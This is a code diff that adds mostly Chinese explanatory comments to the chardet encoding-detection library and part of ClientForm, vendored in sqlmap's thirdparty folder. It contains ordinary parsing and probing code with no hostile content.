@@ -15,7 +15,6 @@
 # 02110-1301  USA
 ######################### END LICENSE BLOCK #########################
 
-
 from .compat import PY2, PY3
 from .universaldetector import UniversalDetector
 from .version import __version__, VERSION
@@ -25,15 +24,28 @@ def detect(byte_str):
     """
     Detect the encoding of the given byte string.
 
+    This function uses the UniversalDetector class to determine the encoding
+    of a given byte string. It creates a new UniversalDetector instance,
+    feeds the byte string to it, and then returns the detected encoding.
+
     :param byte_str:     The byte sequence to examine.
     :type byte_str:      ``bytes`` or ``bytearray``
+    :return:            The detected encoding.
     """
+    # Check if the input is of the correct type
     if not isinstance(byte_str, bytearray):
         if not isinstance(byte_str, bytes):
             raise TypeError('Expected object of type bytes or bytearray, got: '
                             '{0}'.format(type(byte_str)))
         else:
+            # If the input is of type bytes, convert it to bytearray
             byte_str = bytearray(byte_str)
+
+    # Create a new UniversalDetector instance
     detector = UniversalDetector()
+
+    # Feed the byte string to the detector
     detector.feed(byte_str)
+
+    # Close the detector and return the detected encoding
     return detector.close()

src/sqlmap-master/thirdparty/chardet/big5prober.py

@@ -32,10 +32,15 @@ from .mbcssm import BIG5_SM_MODEL
 
 
 class Big5Prober(MultiByteCharSetProber):
+    # 初始化Big5Prober类
     def __init__(self):
+        # 调用父类MultiByteCharSetProber的初始化方法
         super(Big5Prober, self).__init__()
+        # 初始化Big5编码状态机
         self.coding_sm = CodingStateMachine(BIG5_SM_MODEL)
+        # 初始化Big5分布分析器
         self.distribution_analyzer = Big5DistributionAnalysis()
+        # 重置Big5Prober类
         self.reset()
 
     @property

src/sqlmap-master/thirdparty/chardet/charsetgroupprober.py

@@ -30,69 +30,126 @@ from .charsetprober import CharSetProber
 
 
 class CharSetGroupProber(CharSetProber):
+    # 初始化函数，传入语言过滤器
     def __init__(self, lang_filter=None):
+        # 调用父类的初始化函数
         super(CharSetGroupProber, self).__init__(lang_filter=lang_filter)
+        # 初始化活动探测器数量
         self._active_num = 0
+        # 初始化探测器列表
         self.probers = []
+        # 初始化最佳猜测探测器
         self._best_guess_prober = None
 
+    # 重置函数
     def reset(self):
+        # 调用父类的重置函数
         super(CharSetGroupProber, self).reset()
+        # 重置活动探测器数量
         self._active_num = 0
+        # 遍历探测器列表
         for prober in self.probers:
+            # 如果探测器存在
             if prober:
+                # 重置探测器
                 prober.reset()
+                # 设置探测器为活动状态
                 prober.active = True
+                # 活动探测器数量加一
                 self._active_num += 1
+        # 重置最佳猜测探测器
         self._best_guess_prober = None
 
+    # 获取字符集名称的属性函数
     @property
     def charset_name(self):
+        # 如果最佳猜测探测器不存在
         if not self._best_guess_prober:
+            # 调用获取置信度函数
             self.get_confidence()
+            # 如果最佳猜测探测器仍然不存在
             if not self._best_guess_prober:
+                # 返回None
                 return None
+        # 返回最佳猜测探测器的字符集名称
         return self._best_guess_prober.charset_name
 
+    # 获取语言的属性函数
     @property
     def language(self):
+        # 如果最佳猜测探测器不存在
         if not self._best_guess_prober:
+            # 调用获取置信度函数
             self.get_confidence()
+            # 如果最佳猜测探测器仍然不存在
             if not self._best_guess_prober:
+                # 返回None
                 return None
+        # 返回最佳猜测探测器的语言
         return self._best_guess_prober.language
 
+    # 接收字节字符串的函数
     def feed(self, byte_str):
+        # 遍历探测器列表
         for prober in self.probers:
+            # 如果探测器不存在
             if not prober:
+                # 跳过
                 continue
+            # 如果探测器不是活动状态
             if not prober.active:
+                # 跳过
                 continue
+            # 调用探测器接收字节字符串的函数
             state = prober.feed(byte_str)
+            # 如果探测器返回的状态不是FOUND_IT
             if not state:
+                # 跳过
                 continue
+            # 如果探测器返回的状态是FOUND_IT
             if state == ProbingState.FOUND_IT:
+                # 设置最佳猜测探测器为当前探测器
                 self._best_guess_prober = prober
+                # 返回当前探测器的状态
                 return self.state
+            # 如果探测器返回的状态是NOT_ME
             elif state == ProbingState.NOT_ME:
+                # 设置探测器为非活动状态
                 prober.active = False
+                # 活动探测器数量减一
                 self._active_num -= 1
+                # 如果活动探测器数量小于等于0
                 if self._active_num <= 0:
+                    # 设置当前探测器的状态为NOT_ME
                     self._state = ProbingState.NOT_ME
+                    # 返回当前探测器的状态
                     return self.state
+        # 返回当前探测器的状态
         return self.state
 
+    # 获取置信度的函数
     def get_confidence(self):
+        # 获取当前探测器的状态
         state = self.state
+        # 如果当前探测器的状态是FOUND_IT
         if state == ProbingState.FOUND_IT:
+            # 返回0.99
             return 0.99
+        # 如果当前探测器的状态是NOT_ME
         elif state == ProbingState.NOT_ME:
+            # 返回0.01
             return 0.01
+        # 初始化最佳置信度
         best_conf = 0.0
+        # 重置最佳猜测探测器
         self._best_guess_prober = None
+        # 遍历探测器列表
         for prober in self.probers:
+            # 如果探测器不存在
             if not prober:
+                # 跳过
                 continue
+            # 如果探测器不是活动状态
             if not prober.active:
                 self.logger.debug('%s not active', prober.charset_name)
                 continue

src/sqlmap-master/thirdparty/chardet/charsetprober.py

@@ -34,32 +34,42 @@ from .enums import ProbingState
 
 class CharSetProber(object):
 
+    # 定义一个阈值，当检测到的字符集概率大于这个值时，认为检测成功
     SHORTCUT_THRESHOLD = 0.95
 
     def __init__(self, lang_filter=None):
+        # 初始化状态为检测中
         self._state = None
+        # 设置语言过滤器
         self.lang_filter = lang_filter
+        # 获取日志记录器
         self.logger = logging.getLogger(__name__)
 
     def reset(self):
+        # 重置状态为检测中
         self._state = ProbingState.DETECTING
 
     @property
     def charset_name(self):
+        # 返回字符集名称，这里返回None
         return None
 
     def feed(self, buf):
+        # 接收输入的缓冲区
         pass
 
     @property
     def state(self):
+        # 返回当前状态
         return self._state
 
     def get_confidence(self):
+        # 返回检测到的字符集的概率，这里返回0.0
         return 0.0
 
     @staticmethod
     def filter_high_byte_only(buf):
+        # 过滤掉所有非高字节字符
         buf = re.sub(b'([\x00-\x7F])+', b' ', buf)
         return buf
 

src/sqlmap-master/thirdparty/chardet/codingstatemachine.py

@@ -53,20 +53,29 @@ class CodingStateMachine(object):
                  encoding from consideration from here on.
     """
     def __init__(self, sm):
+        # 初始化函数，sm为传入的模型
         self._model = sm
+        # 当前字节位置
         self._curr_byte_pos = 0
+        # 当前字符长度
         self._curr_char_len = 0
+        # 当前状态
         self._curr_state = None
+        # 获取logger
         self.logger = logging.getLogger(__name__)
+        # 重置
         self.reset()
 
     def reset(self):
+        # 重置函数，将当前状态设置为起始状态
         self._curr_state = MachineState.START
 
     def next_state(self, c):
         # for each byte we get its class
         # if it is first byte, we also get byte length
+        # 获取当前字节的类别
         byte_class = self._model['class_table'][c]
+        # 如果当前状态为起始状态，则获取当前字符长度
         if self._curr_state == MachineState.START:
             self._curr_byte_pos = 0
             self._curr_char_len = self._model['char_len_table'][byte_class]

src/sqlmap-master/thirdparty/chardet/compat.py

@@ -22,13 +22,20 @@
 import sys
 
 
+# 判断当前Python版本是否小于3.0
 if sys.version_info < (3, 0):
+    # 如果是Python2版本
     PY2 = True
     PY3 = False
+    # 定义base_str为str和unicode类型
     base_str = (str, unicode)
+    # 定义text_type为unicode类型
     text_type = unicode
 else:
+    # 如果是Python3版本
     PY2 = False
     PY3 = True
+    # 定义base_str为bytes和str类型
     base_str = (bytes, str)
+    # 定义text_type为str类型
     text_type = str

src/sqlmap-master/thirdparty/chardet/escprober.py

@@ -40,62 +40,95 @@ class EscCharSetProber(CharSetProber):
     """
 
     def __init__(self, lang_filter=None):
+        # 初始化EscCharSetProber类
         super(EscCharSetProber, self).__init__(lang_filter=lang_filter)
+        # 初始化编码状态机列表
         self.coding_sm = []
+        # 如果语言过滤器包含简体中文
         if self.lang_filter & LanguageFilter.CHINESE_SIMPLIFIED:
+            # 添加简体中文编码状态机
             self.coding_sm.append(CodingStateMachine(HZ_SM_MODEL))
+            # 添加ISO2022CN编码状态机
             self.coding_sm.append(CodingStateMachine(ISO2022CN_SM_MODEL))
+        # 如果语言过滤器包含日语
         if self.lang_filter & LanguageFilter.JAPANESE:
+            # 添加ISO2022JP编码状态机
             self.coding_sm.append(CodingStateMachine(ISO2022JP_SM_MODEL))
+        # 如果语言过滤器包含韩语
         if self.lang_filter & LanguageFilter.KOREAN:
+            # 添加ISO2022KR编码状态机
             self.coding_sm.append(CodingStateMachine(ISO2022KR_SM_MODEL))
+        # 初始化活动状态机数量
         self.active_sm_count = None
+        # 初始化检测到的字符集
         self._detected_charset = None
+        # 初始化检测到的语言
         self._detected_language = None
+        # 初始化状态
         self._state = None
+        # 重置
         self.reset()
 
     def reset(self):
+        # 重置EscCharSetProber类
         super(EscCharSetProber, self).reset()
+        # 遍历编码状态机列表
         for coding_sm in self.coding_sm:
+            # 如果编码状态机为空，则跳过
             if not coding_sm:
                 continue
+            # 设置编码状态机为活动状态
             coding_sm.active = True
+            # 重置编码状态机
             coding_sm.reset()
+        # 设置活动状态机数量为编码状态机列表的长度
         self.active_sm_count = len(self.coding_sm)
+        # 设置检测到的字符集为空
         self._detected_charset = None
+        # 设置检测到的语言为空
         self._detected_language = None
 
     @property
     def charset_name(self):
+        # 返回检测到的字符集
         return self._detected_charset
 
     @property
     def language(self):
+        # 返回检测到的语言
         return self._detected_language
 
     def get_confidence(self):
+        # 如果检测到了字符集，则返回0.99，否则返回0.00
         if self._detected_charset:
             return 0.99
         else:
             return 0.00
 
     def feed(self, byte_str):
+        # 遍历字节字符串
         for c in byte_str:
+            # 遍历编码状态机列表
             for coding_sm in self.coding_sm:
+                # 如果编码状态机为空或非活动状态，则跳过
                 if not coding_sm or not coding_sm.active:
                     continue
+                # 获取编码状态机的下一个状态
                 coding_state = coding_sm.next_state(c)
+                # 如果状态为错误，则设置编码状态机为非活动状态，活动状态机数量减一
                 if coding_state == MachineState.ERROR:
                     coding_sm.active = False
                     self.active_sm_count -= 1
+                    # 如果活动状态机数量小于等于0，则设置状态为非匹配
                     if self.active_sm_count <= 0:
                         self._state = ProbingState.NOT_ME
                         return self.state
+                # 如果状态为匹配，则设置状态为匹配，设置检测到的字符集和语言
                 elif coding_state == MachineState.ITS_ME:
                     self._state = ProbingState.FOUND_IT
                     self._detected_charset = coding_sm.get_coding_state_machine()
                     self._detected_language = coding_sm.language
                     return self.state
 
+        # 返回状态
         return self.state

src/sqlmap-master/thirdparty/chardet/eucjpprober.py

@@ -34,59 +34,90 @@ from .mbcssm import EUCJP_SM_MODEL
 
 
 class EUCJPProber(MultiByteCharSetProber):
+    # 初始化EUCJPProber类
     def __init__(self):
         super(EUCJPProber, self).__init__()
+        # 初始化编码状态机
         self.coding_sm = CodingStateMachine(EUCJP_SM_MODEL)
+        # 初始化分布分析器
         self.distribution_analyzer = EUCJPDistributionAnalysis()
+        # 初始化上下文分析器
         self.context_analyzer = EUCJPContextAnalysis()
+        # 重置
         self.reset()
 
+    # 重置
     def reset(self):
         super(EUCJPProber, self).reset()
         self.context_analyzer.reset()
 
+    # 获取字符集名称
     @property
     def charset_name(self):
         return "EUC-JP"
 
+    # 获取语言
     @property
     def language(self):
         return "Japanese"
 
+    # 输入字节流
     def feed(self, byte_str):
         for i in range(len(byte_str)):
             # PY3K: byte_str is a byte array, so byte_str[i] is an int, not a byte
+            # 获取下一个状态
             coding_state = self.coding_sm.next_state(byte_str[i])
+            # 如果状态为错误
             if coding_state == MachineState.ERROR:
                 self.logger.debug('%s %s prober hit error at byte %s',
                                   self.charset_name, self.language, i)
+                # 设置状态为不是该字符集
                 self._state = ProbingState.NOT_ME
                 break
+            # 如果状态为确定
             elif coding_state == MachineState.ITS_ME:
+                # 设置状态为确定
                 self._state = ProbingState.FOUND_IT
                 break
+            # 如果状态为开始
             elif coding_state == MachineState.START:
+                # 获取当前字符长度
                 char_len = self.coding_sm.get_current_charlen()
+                # 如果是第一个字符
                 if i == 0:
+                    # 更新最后一个字符
                     self._last_char[1] = byte_str[0]
+                    # 输入最后一个字符和当前字符长度到上下文分析器
                     self.context_analyzer.feed(self._last_char, char_len)
+                    # 输入最后一个字符和当前字符长度到分布分析器
                     self.distribution_analyzer.feed(self._last_char, char_len)
                 else:
+                    # 输入前一个字符和当前字符到上下文分析器
                     self.context_analyzer.feed(byte_str[i - 1:i + 1],
                                                 char_len)
+                    # 输入前一个字符和当前字符到分布分析器
                     self.distribution_analyzer.feed(byte_str[i - 1:i + 1],
                                                      char_len)
 
+        # 更新最后一个字符
         self._last_char[0] = byte_str[-1]
 
+        # 如果状态为检测中
         if self.state == ProbingState.DETECTING:
+            # 如果上下文分析器有足够的数据，并且置信度大于阈值
             if (self.context_analyzer.got_enough_data() and
                (self.get_confidence() > self.SHORTCUT_THRESHOLD)):
+                # 设置状态为确定
                 self._state = ProbingState.FOUND_IT
 
+        # 返回状态
         return self.state
 
+    # 获取置信度
     def get_confidence(self):
+        # 获取上下文分析器的置信度
         context_conf = self.context_analyzer.get_confidence()
+        # 获取分布分析器的置信度
         distrib_conf = self.distribution_analyzer.get_confidence()
+        # 返回最大置信度
         return max(context_conf, distrib_conf)

src/sqlmap-master/thirdparty/chardet/euckrprober.py

@@ -32,16 +32,23 @@ from .mbcssm import EUCKR_SM_MODEL
 
 
 class EUCKRProber(MultiByteCharSetProber):
+    # 初始化EUCKRProber类
     def __init__(self):
+        # 调用父类MultiByteCharSetProber的初始化方法
         super(EUCKRProber, self).__init__()
+        # 初始化编码状态机
         self.coding_sm = CodingStateMachine(EUCKR_SM_MODEL)
+        # 初始化分布分析器
         self.distribution_analyzer = EUCKRDistributionAnalysis()
+        # 重置
         self.reset()
 
+    # 获取字符集名称
     @property
     def charset_name(self):
         return "EUC-KR"
 
+    # 获取语言
     @property
     def language(self):
         return "Korean"

src/sqlmap-master/thirdparty/chardet/euctwprober.py

@@ -31,16 +31,23 @@ from .chardistribution import EUCTWDistributionAnalysis
 from .mbcssm import EUCTW_SM_MODEL
 
 class EUCTWProber(MultiByteCharSetProber):
+    # 初始化EUCTWProber类
     def __init__(self):
+        # 调用父类MultiByteCharSetProber的初始化方法
         super(EUCTWProber, self).__init__()
+        # 初始化编码状态机
         self.coding_sm = CodingStateMachine(EUCTW_SM_MODEL)
+        # 初始化分布分析器
         self.distribution_analyzer = EUCTWDistributionAnalysis()
+        # 重置
         self.reset()
 
+    # 获取字符集名称
     @property
     def charset_name(self):
         return "EUC-TW"
 
+    # 获取语言
     @property
     def language(self):
         return "Taiwan"

src/sqlmap-master/thirdparty/chardet/gb2312prober.py

@@ -31,16 +31,23 @@ from .chardistribution import GB2312DistributionAnalysis
 from .mbcssm import GB2312_SM_MODEL
 
 class GB2312Prober(MultiByteCharSetProber):
+    # 初始化GB2312Prober类
     def __init__(self):
+        # 调用父类MultiByteCharSetProber的初始化方法
         super(GB2312Prober, self).__init__()
+        # 初始化GB2312编码状态机
         self.coding_sm = CodingStateMachine(GB2312_SM_MODEL)
+        # 初始化GB2312分布分析器
         self.distribution_analyzer = GB2312DistributionAnalysis()
+        # 重置
         self.reset()
 
+    # 获取字符集名称
     @property
     def charset_name(self):
         return "GB2312"
 
+    # 获取语言
     @property
     def language(self):
         return "Chinese"

src/sqlmap-master/thirdparty/chardet/hebrewprober.py

@@ -152,17 +152,27 @@ class HebrewProber(CharSetProber):
     LOGICAL_HEBREW_NAME = "windows-1255"
 
     def __init__(self):
+        # 初始化HebrewProber类
         super(HebrewProber, self).__init__()
+        # 初始化_final_char_logical_score为None
         self._final_char_logical_score = None
+        # 初始化_final_char_visual_score为None
         self._final_char_visual_score = None
+        # 初始化_prev为None
         self._prev = None
+        # 初始化_before_prev为None
         self._before_prev = None
+        # 初始化_logical_prober为None
         self._logical_prober = None
+        # 初始化_visual_prober为None
         self._visual_prober = None
+        # 调用reset方法
         self.reset()
 
     def reset(self):
+        # 重置_final_char_logical_score为0
         self._final_char_logical_score = 0
+        # 重置_final_char_visual_score为0
         self._final_char_visual_score = 0
         # The two last characters seen in the previous buffer,
         # mPrev and mBeforePrev are initialized to space in order to simulate

src/sqlmap-master/thirdparty/chardet/mbcharsetprober.py

@@ -37,17 +37,28 @@ class MultiByteCharSetProber(CharSetProber):
     """
 
     def __init__(self, lang_filter=None):
+        # 初始化函数，传入参数lang_filter
         super(MultiByteCharSetProber, self).__init__(lang_filter=lang_filter)
+        # 调用父类的初始化函数
         self.distribution_analyzer = None
+        # 初始化分布分析器
         self.coding_sm = None
+        # 初始化编码状态机
         self._last_char = [0, 0]
 
+        # 初始化最后一个字符
     def reset(self):
+        # 重置函数
         super(MultiByteCharSetProber, self).reset()
+        # 调用父类的重置函数
         if self.coding_sm:
+            # 如果编码状态机存在
             self.coding_sm.reset()
+            # 重置编码状态机
         if self.distribution_analyzer:
+            # 如果分布分析器存在
             self.distribution_analyzer.reset()
+            # 重置分布分析器
         self._last_char = [0, 0]
 
     @property
@@ -59,33 +70,45 @@ class MultiByteCharSetProber(CharSetProber):
         raise NotImplementedError
 
     def feed(self, byte_str):
+        # 遍历byte_str中的每个字节
         for i in range(len(byte_str)):
+            # 获取当前字节的编码状态
             coding_state = self.coding_sm.next_state(byte_str[i])
+            # 如果编码状态为错误，则记录错误信息，并将状态设置为NOT_ME
             if coding_state == MachineState.ERROR:
                 self.logger.debug('%s %s prober hit error at byte %s',
                                   self.charset_name, self.language, i)
                 self._state = ProbingState.NOT_ME
                 break
+            # 如果编码状态为确定，则将状态设置为FOUND_IT
             elif coding_state == MachineState.ITS_ME:
                 self._state = ProbingState.FOUND_IT
                 break
+            # 如果编码状态为开始，则获取当前字符长度
             elif coding_state == MachineState.START:
                 char_len = self.coding_sm.get_current_charlen()
+                # 如果是第一个字节，则将当前字节和上一个字节作为参数传入feed方法
                 if i == 0:
                     self._last_char[1] = byte_str[0]
                     self.distribution_analyzer.feed(self._last_char, char_len)
+                # 否则，将当前字节和上一个字节作为参数传入feed方法
                 else:
                     self.distribution_analyzer.feed(byte_str[i - 1:i + 1],
                                                     char_len)
 
+        # 将最后一个字节赋值给_last_char[0]
         self._last_char[0] = byte_str[-1]
 
+        # 如果状态为DETECTING，则判断是否已经获取足够的数据，并且置信度是否大于SHORTCUT_THRESHOLD
         if self.state == ProbingState.DETECTING:
             if (self.distribution_analyzer.got_enough_data() and
                     (self.get_confidence() > self.SHORTCUT_THRESHOLD)):
+                # 如果满足条件，则将状态设置为FOUND_IT
                 self._state = ProbingState.FOUND_IT
 
+        # 返回状态
         return self.state
 
     def get_confidence(self):
+        # 获取置信度
         return self.distribution_analyzer.get_confidence()

src/sqlmap-master/thirdparty/chardet/mbcsgroupprober.py

@@ -39,16 +39,20 @@ from .euctwprober import EUCTWProber
 
 
 class MBCSGroupProber(CharSetGroupProber):
+    # 初始化MBCSGroupProber类，继承自CharSetGroupProber类
     def __init__(self, lang_filter=None):
+        # 调用父类CharSetGroupProber的初始化方法
         super(MBCSGroupProber, self).__init__(lang_filter=lang_filter)
+        # 定义一个包含多种字符集探测器的列表
         self.probers = [
-            UTF8Prober(),
+            UTF8Prober(),  # UTF-8字符集探测器
-            SJISProber(),
+            SJISProber(),  # Shift_JIS字符集探测器
-            EUCJPProber(),
+            EUCJPProber(),  # EUC-JP字符集探测器
-            GB2312Prober(),
+            GB2312Prober(),  # GB2312字符集探测器
-            EUCKRProber(),
+            EUCKRProber(),  # EUCKR字符集探测器
-            CP949Prober(),
+            CP949Prober(),  # CP949字符集探测器
-            Big5Prober(),
+            Big5Prober(),  # Big5字符集探测器
-            EUCTWProber()
+            EUCTWProber()  # EUCTW字符集探测器
         ]
+        # 重置探测器
         self.reset()

src/sqlmap-master/thirdparty/chardet/sbcharsetprober.py

@@ -31,13 +31,19 @@ from .enums import CharacterCategory, ProbingState, SequenceLikelihood
 
 
 class SingleByteCharSetProber(CharSetProber):
+    # 定义样本大小
     SAMPLE_SIZE = 64
+    # 定义相对阈值
     SB_ENOUGH_REL_THRESHOLD = 1024  #  0.25 * SAMPLE_SIZE^2
+    # 定义正向阈值
     POSITIVE_SHORTCUT_THRESHOLD = 0.95
+    # 定义负向阈值
     NEGATIVE_SHORTCUT_THRESHOLD = 0.05
 
     def __init__(self, model, reversed=False, name_prober=None):
+        # 调用父类构造函数
         super(SingleByteCharSetProber, self).__init__()
+        # 设置模型
         self._model = model
         # TRUE if we need to reverse every pair in the model lookup
         self._reversed = reversed
@@ -51,6 +57,7 @@ class SingleByteCharSetProber(CharSetProber):
         self.reset()
 
     def reset(self):
+        # 重置函数
         super(SingleByteCharSetProber, self).reset()
         # char order of last character
         self._last_order = 255
@@ -69,16 +76,20 @@ class SingleByteCharSetProber(CharSetProber):
 
     @property
     def language(self):
+        # 如果_name_prober存在，则返回_name_prober的语言，否则返回_model中的语言
         if self._name_prober:
             return self._name_prober.language
         else:
             return self._model.get('language')
 
     def feed(self, byte_str):
+        # 如果_model中的keep_english_letter为False，则过滤掉国际字符
         if not self._model['keep_english_letter']:
             byte_str = self.filter_international_words(byte_str)
+        # 如果byte_str为空，则返回状态
         if not byte_str:
             return self.state
+        # 获取字符到顺序的映射
         char_to_order_map = self._model['char_to_order_map']
         for i, c in enumerate(byte_str):
             # XXX: Order is in range 1-64, so one would think we want 0-63 here,
@@ -122,11 +133,17 @@ class SingleByteCharSetProber(CharSetProber):
         return self.state
 
     def get_confidence(self):
+        # 初始化r为0.01
         r = 0.01
+        # 如果总序列数大于0
         if self._total_seqs > 0:
+            # 计算r的值
             r = ((1.0 * self._seq_counters[SequenceLikelihood.POSITIVE]) /
                  self._total_seqs / self._model['typical_positive_ratio'])
+            # 乘以字符频率和总字符数
             r = r * self._freq_char / self._total_char
+            # 如果r大于等于1.0，则将r设置为0.99
             if r >= 1.0:
                 r = 0.99
+        # 返回r的值
         return r

src/sqlmap-master/thirdparty/chardet/sjisprober.py

@@ -34,59 +34,94 @@ from .enums import ProbingState, MachineState
 
 
 class SJISProber(MultiByteCharSetProber):
+    # 初始化函数
     def __init__(self):
+        # 调用父类的初始化函数
         super(SJISProber, self).__init__()
+        # 初始化编码状态机
         self.coding_sm = CodingStateMachine(SJIS_SM_MODEL)
+        # 初始化分布分析器
         self.distribution_analyzer = SJISDistributionAnalysis()
+        # 初始化上下文分析器
         self.context_analyzer = SJISContextAnalysis()
+        # 重置分析器
         self.reset()
 
+    # 重置函数
     def reset(self):
+        # 调用父类的重置函数
         super(SJISProber, self).reset()
+        # 重置上下文分析器
         self.context_analyzer.reset()
 
     @property
     def charset_name(self):
+        # 返回字符集名称
         return self.context_analyzer.charset_name
 
     @property
     def language(self):
+        # 返回语言
         return "Japanese"
 
     def feed(self, byte_str):
+        # 遍历字节字符串
         for i in range(len(byte_str)):
+            # 获取下一个状态
             coding_state = self.coding_sm.next_state(byte_str[i])
+            # 如果状态为错误
             if coding_state == MachineState.ERROR:
+                # 记录错误日志
                 self.logger.debug('%s %s prober hit error at byte %s',
                                   self.charset_name, self.language, i)
+                # 设置状态为不是该字符集
                 self._state = ProbingState.NOT_ME
                 break
+            # 如果状态为确定
             elif coding_state == MachineState.ITS_ME:
+                # 设置状态为确定
                 self._state = ProbingState.FOUND_IT
                 break
+            # 如果状态为开始
             elif coding_state == MachineState.START:
+                # 获取当前字符长度
                 char_len = self.coding_sm.get_current_charlen()
+                # 如果是第一个字符
                 if i == 0:
+                    # 更新最后一个字符
                     self._last_char[1] = byte_str[0]
+                    # 向上下文分析器输入字符
                     self.context_analyzer.feed(self._last_char[2 - char_len:],
                                                char_len)
+                    # 向分布分析器输入字符
                     self.distribution_analyzer.feed(self._last_char, char_len)
                 else:
+                    # 向上下文分析器输入字符
                     self.context_analyzer.feed(byte_str[i + 1 - char_len:i + 3
                                                         - char_len], char_len)
+                    # 向分布分析器输入字符
                     self.distribution_analyzer.feed(byte_str[i - 1:i + 1],
                                                     char_len)
 
+        # 更新最后一个字符
         self._last_char[0] = byte_str[-1]
 
+        # 如果状态为检测中
         if self.state == ProbingState.DETECTING:
+            # 如果上下文分析器有足够的数据，并且置信度大于阈值
             if (self.context_analyzer.got_enough_data() and
                (self.get_confidence() > self.SHORTCUT_THRESHOLD)):
+                # 设置状态为确定
                 self._state = ProbingState.FOUND_IT
 
+        # 返回状态
         return self.state
 
+    # 获取置信度
     def get_confidence(self):
+        # 获取上下文分析器的置信度
         context_conf = self.context_analyzer.get_confidence()
+        # 获取分布分析器的置信度
         distrib_conf = self.distribution_analyzer.get_confidence()
+        # 返回上下文置信度和分布置信度中的最大值
         return max(context_conf, distrib_conf)

src/sqlmap-master/thirdparty/chardet/universaldetector.py

@@ -79,16 +79,27 @@ class UniversalDetector(object):
                    'iso-8859-13': 'Windows-1257'}
 
     def __init__(self, lang_filter=LanguageFilter.ALL):
+        # 初始化语言过滤器
         self._esc_charset_prober = None
+        # 初始化字符集探测器
         self._charset_probers = []
+        # 初始化结果
         self.result = None
+        # 初始化完成标志
         self.done = None
+        # 初始化是否获取数据标志
         self._got_data = None
+        # 初始化输入状态
         self._input_state = None
+        # 初始化最后一个字符
         self._last_char = None
+        # 设置语言过滤器
         self.lang_filter = lang_filter
+        # 获取日志记录器
         self.logger = logging.getLogger(__name__)
+        # 初始化是否包含Windows字节标志
         self._has_win_bytes = None
+        # 重置
         self.reset()
 
     def reset(self):
@@ -97,14 +108,22 @@ class UniversalDetector(object):
         initial states.  This is called by ``__init__``, so you only need to
         call this directly in between analyses of different documents.
         """
+        # 重置结果
         self.result = {'encoding': None, 'confidence': 0.0, 'language': None}
+        # 重置完成标志
         self.done = False
+        # 重置是否接收到数据标志
         self._got_data = False
+        # 重置是否有win字节标志
         self._has_win_bytes = False
+        # 重置输入状态
         self._input_state = InputState.PURE_ASCII
+        # 重置最后一个字符
         self._last_char = b''
+        # 如果有esc字符集探测器，重置它
         if self._esc_charset_prober:
             self._esc_charset_prober.reset()
+        # 重置所有字符集探测器
         for prober in self._charset_probers:
             prober.reset()
 

src/sqlmap-master/thirdparty/chardet/utf8prober.py

@@ -33,50 +33,75 @@ from .mbcssm import UTF8_SM_MODEL
 
 
 class UTF8Prober(CharSetProber):
+    # 定义一个常量，表示一个字符的初始概率为0.5
     ONE_CHAR_PROB = 0.5
 
+    # 初始化函数
     def __init__(self):
+        # 调用父类的初始化函数
         super(UTF8Prober, self).__init__()
+        # 初始化编码状态机
         self.coding_sm = CodingStateMachine(UTF8_SM_MODEL)
+        # 初始化多字节字符数量
         self._num_mb_chars = None
+        # 调用重置函数
         self.reset()
 
+    # 重置函数
     def reset(self):
+        # 调用父类的重置函数
         super(UTF8Prober, self).reset()
+        # 重置编码状态机
         self.coding_sm.reset()
+        # 重置多字节字符数量
         self._num_mb_chars = 0
 
+    # 获取字符集名称的属性
     @property
     def charset_name(self):
+        # 返回字符集名称
         return "utf-8"
 
+    # 获取语言名称的属性
     @property
     def language(self):
+        # 返回语言名称
         return ""
 
     def feed(self, byte_str):
+        # 遍历byte_str中的每个字符
         for c in byte_str:
+            # 获取下一个状态
             coding_state = self.coding_sm.next_state(c)
+            # 如果状态为ERROR，则将状态设置为NOT_ME，并跳出循环
             if coding_state == MachineState.ERROR:
                 self._state = ProbingState.NOT_ME
                 break
+            # 如果状态为ITS_ME，则将状态设置为FOUND_IT，并跳出循环
             elif coding_state == MachineState.ITS_ME:
                 self._state = ProbingState.FOUND_IT
                 break
+            # 如果状态为START，且当前字符长度大于等于2，则将_num_mb_chars加1
             elif coding_state == MachineState.START:
                 if self.coding_sm.get_current_charlen() >= 2:
                     self._num_mb_chars += 1
 
+        # 如果状态为DETECTING，且置信度大于SHORTCUT_THRESHOLD，则将状态设置为FOUND_IT
         if self.state == ProbingState.DETECTING:
             if self.get_confidence() > self.SHORTCUT_THRESHOLD:
                 self._state = ProbingState.FOUND_IT
 
+        # 返回状态
         return self.state
 
     def get_confidence(self):
+        # 初始化 unlike 为 0.99
         unlike = 0.99
+        # 如果_num_mb_chars 小于 6，则 unlike 乘以 ONE_CHAR_PROB 的 _num_mb_chars 次方
         if self._num_mb_chars < 6:
             unlike *= self.ONE_CHAR_PROB ** self._num_mb_chars
+            # 返回 1.0 减去 unlike
             return 1.0 - unlike
+        # 否则返回 unlike
         else:
             return unlike

src/sqlmap-master/thirdparty/clientform/clientform.py

@@ -67,30 +67,47 @@ __all__ = ['AmbiguityError', 'CheckboxControl', 'Control',
            'TextareaControl', 'XHTMLCompatibleFormParser']
 
 try:
+    # 尝试导入logging和inspect模块
     import logging
     import inspect
 except ImportError:
+    # 如果导入失败，定义一个空的debug函数
     def debug(msg, *args, **kwds):
         pass
 else:
+    # 如果导入成功，定义一个_logger对象
     _logger = logging.getLogger("ClientForm")
+    # 定义一个优化hack变量
     OPTIMIZATION_HACK = True
 
+    # 定义一个debug函数
     def debug(msg, *args, **kwds):
+        # 如果优化hack为True，则返回
         if OPTIMIZATION_HACK:
             return
 
+        # 获取调用者的函数名
         caller_name = inspect.stack()[1][3]
+        # 定义一个扩展的消息
         extended_msg = '%%s %s' % msg
+        # 定义一个扩展的参数
         extended_args = (caller_name,)+args
+        # 调用_logger对象的debug方法
         debug = _logger.debug(extended_msg, *extended_args, **kwds)
 
+    # 定义一个_show_debug_messages函数
     def _show_debug_messages():
+        # 定义一个全局变量OPTIMIZATION_HACK
         global OPTIMIZATION_HACK
+        # 将优化hack设置为False
         OPTIMIZATION_HACK = False
+        # 将_logger对象的日志级别设置为DEBUG
         _logger.setLevel(logging.DEBUG)
+        # 定义一个StreamHandler对象
         handler = logging.StreamHandler(sys.stdout)
+        # 将StreamHandler对象的日志级别设置为DEBUG
         handler.setLevel(logging.DEBUG)
+        # 将StreamHandler对象添加到_logger对象中
         _logger.addHandler(handler)
 
 try:
@@ -114,13 +131,17 @@ except ImportError:
 import sys, re, random
 
 if sys.version_info >= (3, 0):
+    # 如果Python版本大于等于3.0，则将xrange替换为range
     xrange = range
 
 # monkeypatch to fix http://www.python.org/sf/803422 :-(
+# 修补monkeypatch以修复http://www.python.org/sf/803422 :-(
